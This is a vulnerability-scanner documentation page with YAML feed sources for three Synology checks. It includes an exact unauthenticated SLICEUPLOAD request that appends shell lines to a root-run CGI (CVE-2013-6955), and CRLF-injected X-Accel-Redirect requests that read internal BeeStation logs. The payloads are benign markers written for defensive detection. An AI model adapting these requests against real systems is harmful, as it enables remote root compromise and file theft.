Synology — 3 vulnerability checks

noctis ships 3 vulnerability checks for Synology, covering 6 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Synology DiskStation Manager (DSM) 'imageSelector.cgi' SLICEUPLOAD RCE

CVECVE-2013-6955
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/synology/CVE-2013-6955.yaml

Synology DSM 4.x appends the body of an unauthenticated SLICEUPLOAD request to the file named by the X-TMP-FILE header (/webman/imageSelector.cgi), allowing shell lines to be appended to /usr/syno/synoman/redirect.cgi and executed as root. The probe appends a self-deleting `echo NOCTIS$((a+b))` line and confirms execution by fetching /redirect.cgi and finding the shell-computed sum.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /webman/imageSelector.cgi with a crafted body
  3. HTTP(S) request GET /redirect.cgi
  4. Checks trig.body for NOCTIS[0-9]{6,7} → finding QoD 97: Synology DSM imageSelector.cgi SLICEUPLOAD RCE confirmed: the line `echo NOCTIS$((…+…))` appended to redirect.cgi via X-TMP-FILE was execut…

References:

Feed source — tests/vulnerabilities/synology/CVE-2013-6955.yaml
# Synology DiskStation Manager (DSM) 4.x — imageSelector.cgi SLICEUPLOAD RCE
# CVE-2013-6955
#
# /webman/imageSelector.cgi handles `X-TYPE-NAME: SLICEUPLOAD` requests before
# checking the session: the uploaded slice is APPENDED to the file named by the
# attacker-controlled `X-TMP-FILE` header, and only then does the CGI answer
# `error_noprivilege`. Appending shell lines to the root-run CGI
# /usr/syno/synoman/redirect.cgi and then requesting /redirect.cgi executes them.
#
# Detection (real exploitation, benign and self-cleaning):
#   1. POST the NASL's exact SLICEUPLOAD request. The appended slice is two lines:
#        sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi
#        echo NOCTIS$((<a>+<b>))
#      The first line deletes itself and everything after it from redirect.cgi
#      the moment the script runs, so the CGI is restored by the trigger itself.
#      The second line prints a marker plus the sum of two per-run random
#      integers — a value that only a shell can compute (it never appears in the
#      request, so no reflection / filtering page can produce it).
#   2. GET /redirect.cgi runs the appended lines; the reply must contain
#      NOCTIS<a+b> → QoD 97.
#
# Deviations from the NASL (improvements):
#   - `id` + `uid=…gid=…` regex replaced by the arithmetic marker: no command
#     with system output, and no false positive from a page that happens to
#     contain `uid=`/`gid=`.
#   - The trigger GET is not gated on `error_noprivilege` in the upload reply:
#     only the arithmetic proof decides, so a DSM build whose error text differs
#     is not missed. The extra GET /redirect.cgi is harmless on any target.
#   - The NASL's trailing "cleanup" POST (which re-appends a sed line) is not
#     sent: the first appended line already removes the injected lines when the
#     trigger runs, and on a target where the trigger did not run, that same line
#     removes them on the next legitimate execution of redirect.cgi.
#   - Multipart body: the NASL sends "login\r\n  --boundary"; the proven
#     Metasploit module (synology_dsm_sliceupload_exec_noauth, rank Excellent)
#     turns every CRLF before a separator into two spaces ("login  --boundary",
#     "<cmds>  --boundary--"), which DSM's parser expects. The feed uses the
#     Metasploit shape, so the source/type fields are exactly "login"/"logo"
#     and the appended line carries no stray \r.
#   - The slice starts with a newline, so the self-deleting sed line stays on
#     its own line even if redirect.cgi does not end with one.
#
# The boundary uses a per-run token instead of rand().
#
# Ported from OpenVAS/Greenbone NASL 2014/gb_synology_dsm_64516.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103869, GPL-2.0-only).
uid: 957c61c2-b1b0-425b-bdf5-eec0e5cf5820
name: "Synology DiskStation Manager (DSM) 'imageSelector.cgi' SLICEUPLOAD RCE (CVE-2013-6955)"
description: |
  Synology DSM 4.x appends the body of an unauthenticated SLICEUPLOAD request
  to the file named by the X-TMP-FILE header (/webman/imageSelector.cgi),
  allowing shell lines to be appended to /usr/syno/synoman/redirect.cgi and
  executed as root. The probe appends a self-deleting `echo NOCTIS$((a+b))`
  line and confirms execution by fetching /redirect.cgi and finding the
  shell-computed sum.
cves: [CVE-2013-6955]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [synology, dsm, diskstation, nas, imageselector, sliceupload, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-6955"
  - "https://www.securityfocus.com/bid/64516"
  - "https://www.rapid7.com/db/modules/exploit/linux/http/synology_dsm_sliceupload_exec_noauth/"

steps:
  # Per-run proof: boundary token and two random 6-digit integers.
  - id: gen-proof
    action: script
    code: |
      let tok = rand_hex(8);
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ tok: tok, a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }
    store_as: proof

  # SLICEUPLOAD request: appends the slice to redirect.cgi on a vulnerable DSM.
  # Headers as in the NASL; body in the Metasploit module's shape (no CRLF
  # before the "  --boundary" separators, see header comment). The slice starts
  # with a newline so the sed line never glues onto a last line without one.
  - id: append-slice
    action: http_request
    method: POST
    path: "/webman/imageSelector.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      X-TYPE-NAME: "SLICEUPLOAD"
      X-TMP-FILE: "/usr/syno/synoman/redirect.cgi"
      Content-Type: "multipart/form-data; boundary=_NOCTIS_{{proof.tok}}"
    body: "--_NOCTIS_{{proof.tok}}\r\nContent-Disposition: form-data; name=\"source\"\r\n\r\nlogin  --_NOCTIS_{{proof.tok}}\r\nContent-Disposition: form-data; name=\"type\"\r\n\r\nlogo  --_NOCTIS_{{proof.tok}}\r\nContent-Disposition: form-data; name=\"noctis\"; filename=\"noctis\"\r\nContent-Type: application/octet-stream\r\n\r\n\nsed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi\necho NOCTIS$(({{proof.a}}+{{proof.b}}))  --_NOCTIS_{{proof.tok}}--"
    store_as: up

  # Run the appended lines. The first one removes them again from the CGI.
  - id: trigger
    action: http_request
    method: GET
    path: "/redirect.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: trig

  - id: confirm-rce
    action: match
    source: trig.body
    pattern: "NOCTIS[0-9]{6,7}"
    condition: "type_of(trig.body) == \"string\" && stridx(trig.body, proof.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Synology DSM imageSelector.cgi SLICEUPLOAD RCE confirmed: the line `echo NOCTIS$(({{proof.a}}+{{proof.b}}))` appended to redirect.cgi via X-TMP-FILE was executed by GET /redirect.cgi, which returned the shell-computed marker {{proof.marker}} (the appended lines delete themselves when run)"
      stop: true

Synology BeeStation RedirectURI CRLF injection log disclosure (Synology-SA-24:21, CVE-2024-50630)

CVECVE-2024-50630, CVE-2024-50631
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/synology/CVE-2024-50630.yaml

Synology BeeStation (BSM) is prone to multiple vulnerabilities in the bundled Synology Drive Server. The SYNO.API.Auth.RedirectURI handler reflects the attacker-controlled redirect_url into the nginx response headers without CRLF sanitisation, so an unauthenticated POST injecting an X-Accel-Redirect header makes nginx serve an internal file — the Drive worker log (cloud-workerd.log) — whose embedded source-file names (.cpp/.o) confirm the file disclosure on an exposed, unpatched instance.

How noctis detects it

  1. HTTP(S) request POST /webapi/entry.cgi with a crafted body
  2. Checks resp.body for (?m)^[0-9A-Z:-]+ \([0-9]+:[0-9]+\) \[INFO\].+\.(o|cpp) → finding QoD 75: Synology Drive worker log served via SYNO.API.Auth.RedirectURI X-Accel-Redirect CRLF injection: …

References:

Feed source — tests/vulnerabilities/synology/CVE-2024-50630.yaml
# Synology BeeStation (BSM) Multiple Vulnerabilities — Synology-SA-24:21
# (CVE-2024-50630 / CVE-2024-50631)
#
# Synology BeeStation (BSM) bundles Synology Drive Server, whose
# SYNO.API.Auth.RedirectURI webapi handler reflects the attacker-controlled
# `redirect_url` parameter into the nginx response headers without sanitising
# CRLF. By injecting an `X-Accel-Redirect` header pointing at an internal
# path, an unauthenticated request makes nginx serve a file it should never
# expose — here the Synology Drive worker log
# (/volume1/@synologydrive/log/cloud-workerd.log). The leaked log embeds the
# source-file names of the compiled Drive Server components
# (…checkpoint-task.cpp.o / …job-queue-client.cpp.o), confirming the file was
# actually served rather than a normal JSON API reply.
#
# Detection (safe, response analysis — CRLF/X-Accel-Redirect file disclosure):
#   POST /webapi/entry.cgi with body
#     api=SYNO.API.Auth.RedirectURI&version=1&method=run&session=finder&
#     redirect_url=https://dsfinder.synology.com/dsm/login?<CRLF>
#     X-Accel-Redirect:/volume1/@synologydrive/log/cloud-workerd.log
#   → response body (the served log file) matches, line-anchored:
#     (?m)^[0-9A-Z:-]+ \([0-9]+:[0-9]+\) \[INFO\].+\.(o|cpp)
#   A patched BeeStation strips the CRLF / rejects the injection and returns
#   the normal JSON API error (no served log file) → zero findings.
#
# Ported from OpenVAS/Greenbone NASL 2025/synology/gb_bsm_SA_24_21_active.nasl
# (GPL-2.0-only). Request body, injected header, path and match pattern kept
# faithful to the source; detection stops at the log disclosure (QoD 75), a
# documented simplification of the NASL's follow-on token extraction.
uid: e9de6161-0e5b-4191-a7d0-071d8ba866af
name: "Synology BeeStation RedirectURI CRLF injection log disclosure (Synology-SA-24:21, CVE-2024-50630)"
description: |
  Synology BeeStation (BSM) is prone to multiple vulnerabilities in the bundled
  Synology Drive Server. The SYNO.API.Auth.RedirectURI handler reflects the
  attacker-controlled redirect_url into the nginx response headers without CRLF
  sanitisation, so an unauthenticated POST injecting an X-Accel-Redirect header
  makes nginx serve an internal file — the Drive worker log
  (cloud-workerd.log) — whose embedded source-file names (.cpp/.o) confirm the
  file disclosure on an exposed, unpatched instance.
cves: [CVE-2024-50630, CVE-2024-50631]
cvss: 7.5
severity: high
confidence_base: 0.30
category: file-read
tags: [synology, beestation, bsm, drive-server, info-disclosure, webapi]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-50630"
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-50631"
  - "https://www.synology.com/security/advisory/Synology_SA_24_21"
  - "OpenVAS/Greenbone NASL 2025/synology/gb_bsm_SA_24_21_active.nasl (GPL-2.0-only)"

steps:
  - id: entry-probe
    action: http_request
    method: POST
    path: "/webapi/entry.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "api=SYNO.API.Auth.RedirectURI&version=1&method=run&session=finder&redirect_url=https://dsfinder.synology.com/dsm/login?\r\nX-Accel-Redirect:/volume1/@synologydrive/log/cloud-workerd.log"
    store_as: resp

  - id: match-debug-leak
    action: match
    source: resp.body
    pattern: "(?m)^[0-9A-Z:-]+ \\([0-9]+:[0-9]+\\) \\[INFO\\].+\\.(o|cpp)"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Synology Drive worker log served via SYNO.API.Auth.RedirectURI X-Accel-Redirect CRLF injection: {{resp.body}}"
      stop: true

Synology BeeStation RedirectURI CRLF injection log disclosure (Synology-SA-24:23)

CVECVE-2024-10441, CVE-2024-10445, CVE-2024-50629
Severitymedium · CVSS 5.3
Categoryfile-read — File read
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/synology/beestation-sa-24-23.yaml

Synology BeeStation (BSM) is prone to multiple vulnerabilities in the bundled Synology Drive Server. The SYNO.API.Auth.RedirectURI handler reflects the attacker-controlled redirect_url into the nginx response headers without CRLF sanitisation, so an unauthenticated POST injecting an X-Accel-Redirect header makes nginx serve an internal file — the Drive worker log (cloud-workerd.log) — whose embedded source-file names (.cpp.o) confirm the file disclosure on an exposed, unpatched instance.

How noctis detects it

  1. HTTP(S) request POST /webapi/entry.cgi with a crafted body
  2. Checks resp.body for (checkpoint-task|job-queue-client)\.cpp\.o → finding QoD 75: Synology Drive worker log served via SYNO.API.Auth.RedirectURI X-Accel-Redirect CRLF injection: …

References:

Feed source — tests/vulnerabilities/synology/beestation-sa-24-23.yaml
# Synology BeeStation (BSM) Multiple Vulnerabilities — Synology-SA-24:23
# (CVE-2024-10441 / CVE-2024-10445 / CVE-2024-50629)
#
# Synology BeeStation (BSM) bundles Synology Drive Server, whose
# SYNO.API.Auth.RedirectURI webapi handler reflects the attacker-controlled
# `redirect_url` parameter into the nginx response headers without sanitising
# CRLF. By injecting an `X-Accel-Redirect` header pointing at an internal
# path, an unauthenticated request makes nginx serve a file it should never
# expose — here the Synology Drive worker log
# (/volume1/@synologydrive/log/cloud-workerd.log). The leaked log embeds the
# source-file names of the compiled Drive Server components
# (…checkpoint-task.cpp.o / …job-queue-client.cpp.o), confirming the file was
# actually served rather than a normal JSON API reply.
#
# SA-24:23 is a distinct Synology advisory from SA-24:21 (CVE-2024-50630/50631,
# see synology/CVE-2024-50630.yaml) but OpenVAS confirms both with the same safe
# active check — the CRLF / X-Accel-Redirect disclosure of cloud-workerd.log —
# so the two feeds legitimately share the synology-mock fixture.
#
# Detection (safe, response analysis — CRLF/X-Accel-Redirect file disclosure):
#   POST /webapi/entry.cgi with body
#     api=SYNO.API.Auth.RedirectURI&version=1&method=run&session=finder&
#     redirect_url=https://dsfinder.synology.com/dsm/login?<CRLF>
#     X-Accel-Redirect:/volume1/@synologydrive/log/cloud-workerd.log
#   → response body (the served log file) carries the compiled Drive Server
#     source-file names:  (checkpoint-task|job-queue-client)\.cpp\.o
#   A patched BeeStation strips the CRLF / rejects the injection and returns
#   the normal JSON API error (no served log file) → zero findings.
#
# Ported from OpenVAS/Greenbone NASL 2025/synology/gb_bsm_SA_24_23_active.nasl
# (GPL-2.0-only). Request body, injected header and path kept faithful to the
# source; the match targets the source-file literals from the NASL confirm
# condition. Detection stops at the log disclosure (QoD 75), a documented
# simplification of the NASL's follow-on token extraction.
uid: 198eedb0-67b2-4492-a831-7ea346ea621e
name: "Synology BeeStation RedirectURI CRLF injection log disclosure (Synology-SA-24:23)"
description: |
  Synology BeeStation (BSM) is prone to multiple vulnerabilities in the bundled
  Synology Drive Server. The SYNO.API.Auth.RedirectURI handler reflects the
  attacker-controlled redirect_url into the nginx response headers without CRLF
  sanitisation, so an unauthenticated POST injecting an X-Accel-Redirect header
  makes nginx serve an internal file — the Drive worker log
  (cloud-workerd.log) — whose embedded source-file names (.cpp.o) confirm the
  file disclosure on an exposed, unpatched instance.
cves: [CVE-2024-10441, CVE-2024-10445, CVE-2024-50629]
cvss: 5.3
severity: medium
confidence_base: 0.30
category: file-read
tags: [synology, beestation, bsm, drive-server, info-disclosure, webapi]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-10441"
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-10445"
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-50629"
  - "https://www.synology.com/security/advisory/Synology_SA_24_23"
  - "OpenVAS/Greenbone NASL 2025/synology/gb_bsm_SA_24_23_active.nasl (GPL-2.0-only)"

steps:
  - id: entry-probe
    action: http_request
    method: POST
    path: "/webapi/entry.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "api=SYNO.API.Auth.RedirectURI&version=1&method=run&session=finder&redirect_url=https://dsfinder.synology.com/dsm/login?\r\nX-Accel-Redirect:/volume1/@synologydrive/log/cloud-workerd.log"
    store_as: resp

  - id: match-debug-leak
    action: match
    source: resp.body
    pattern: "(checkpoint-task|job-queue-client)\\.cpp\\.o"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Synology Drive worker log served via SYNO.API.Auth.RedirectURI X-Accel-Redirect CRLF injection: {{resp.body}}"
      stop: true

View these feeds on GitHub